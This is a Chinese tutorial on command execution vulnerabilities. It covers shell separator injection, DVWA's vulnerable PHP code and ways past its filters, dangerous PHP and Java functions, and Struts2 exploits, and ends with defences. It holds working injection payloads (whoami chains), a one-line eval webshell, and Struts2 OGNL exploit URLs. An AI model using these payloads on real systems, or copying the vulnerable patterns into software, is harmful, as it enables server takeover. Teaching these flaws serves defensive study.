命令执行漏洞概述
字数 1713 2025-08-15 21:32:05
命令执行漏洞深度解析与防御指南
一、命令执行漏洞概述
命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令。它不仅存在于B/S架构中,也存在于C/S架构中。
漏洞分类
- OS命令执行:Web应用程序底层调用系统操作命令时,未过滤用户输入数据
- 脚本命令执行:通过脚本语言调用操作系统命令
二、操作系统管道符利用
Windows系统管道符
|:直接执行后面的语句
ping www.baidu.com|whoami||:前面语句执行出错则执行后面的语句
png www.baidu.com||whoami&:无论前面语句真假都执行后面的语句
ping www.baidu.com&whoami&&:前面语句为真才执行后面的语句
ping www.baidu.com&&whoami
Linux系统管道符
;:执行完前面命令后执行后面的
ping www.baidu.com;whoami|:显示后面语句的执行结果||:前面语句出错时执行后面的语句&:无论前面语句真假都执行后面的语句&&:前面语句为真才执行后面的语句
三、DVWA命令注入示例分析
Low级别漏洞代码
$target = $_REQUEST['ip'];
if(stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping '.$target);
} else {
$cmd = shell_exec('ping -c 4 '.$target);
}
echo "<pre>{$cmd}</pre>";
漏洞点:直接拼接用户输入执行命令,无任何过滤
Medium级别漏洞代码
$substitutions = array('&&' => '', ';' => '');
$target = str_replace(array_keys($substitutions), $substitutions, $target);
// 其余同Low级别
漏洞点:仅过滤了&&和;,仍可利用&、|和||
High级别漏洞代码
$substitutions = array(
'&' => '', ';' => '', '| ' => '',
'-' => '', '$' => '', '(' => '',
')' => '', '`' => '', '||' => ''
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
// 其余同Low级别
漏洞点:| (带空格)过滤不彻底,仍可利用|(无空格)
四、PHP命令执行漏洞
1. 直接命令执行函数
system():执行外部程序并显示输出shell_exec():通过shell执行命令exec():执行外部程序passthru():执行外部程序并显示原始输出
示例:
$host = $argv[1];
system("ping ".$host); // 可被注入:php.exe ceshi.php "www.baidu.com|whoami"
2. 代码执行函数
eval():将字符串作为PHP代码执行eval($_REQUEST['code']); // 典型一句话木马
3. 动态函数调用漏洞
function A(){ return "A()函数.."; }
function B(){ return "B()函数.."; }
$fun = $_REQUEST['fun'];
echo $fun(); // 可被利用:?fun=phpinfo
带参数版本更危险:
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par); // 可被利用:?fun=system&par=whoami
4. 其他危险函数
preg_replace():使用/e修饰符时可执行代码ob_start():回调函数可能执行代码array_map():第一个参数可控时可执行函数$arr = $_GET['arr']; $array = array(1,2,3,4,5); $new_array = array_map($arr, $array); // 可被利用:?arr=phpinfo
五、Java命令执行漏洞
Runtime类执行命令
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run.exec(command); // 执行系统命令
Struts2框架漏洞
-
早期漏洞:通过OGNL表达式注入
?(#_memberAccess['allowStaticMethodAccess'])(meh)=true&(aaa)((#context['xwork.MethodAccessor.denyMethodExecution']=#foo)(#foo=new%20java.lang.Boolean("false")))&(asdf)((#rt.exit(1))(#rt=@java.lang.Runtime@getRuntime()))=1 -
DefaultActionMapper漏洞:
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
六、防御措施
-
基本原则:
- 尽量避免使用系统执行命令
- 确保输入完全可控
-
具体措施:
- 严格过滤所有用户输入,转义敏感字符
- 使用白名单限制可执行命令
- 对动态函数调用进行严格检查
- 禁用或限制危险函数的使用
- 及时更新框架和组件补丁
-
PHP专项防御:
- 禁用
eval()、system()等危险函数 - 使用
escapeshellarg()和escapeshellcmd()处理命令参数 - 对回调函数进行严格校验
- 禁用
-
Java专项防御:
- 避免直接使用Runtime.exec()执行用户输入
- 及时更新Struts2等框架版本
- 使用SecurityManager限制权限
七、总结
命令执行漏洞危害极大,可导致服务器完全沦陷。开发者应:
- 充分认识漏洞危害性
- 掌握各种语言中的危险函数
- 实施严格的输入过滤机制
- 保持框架和组件的及时更新
- 遵循最小权限原则运行应用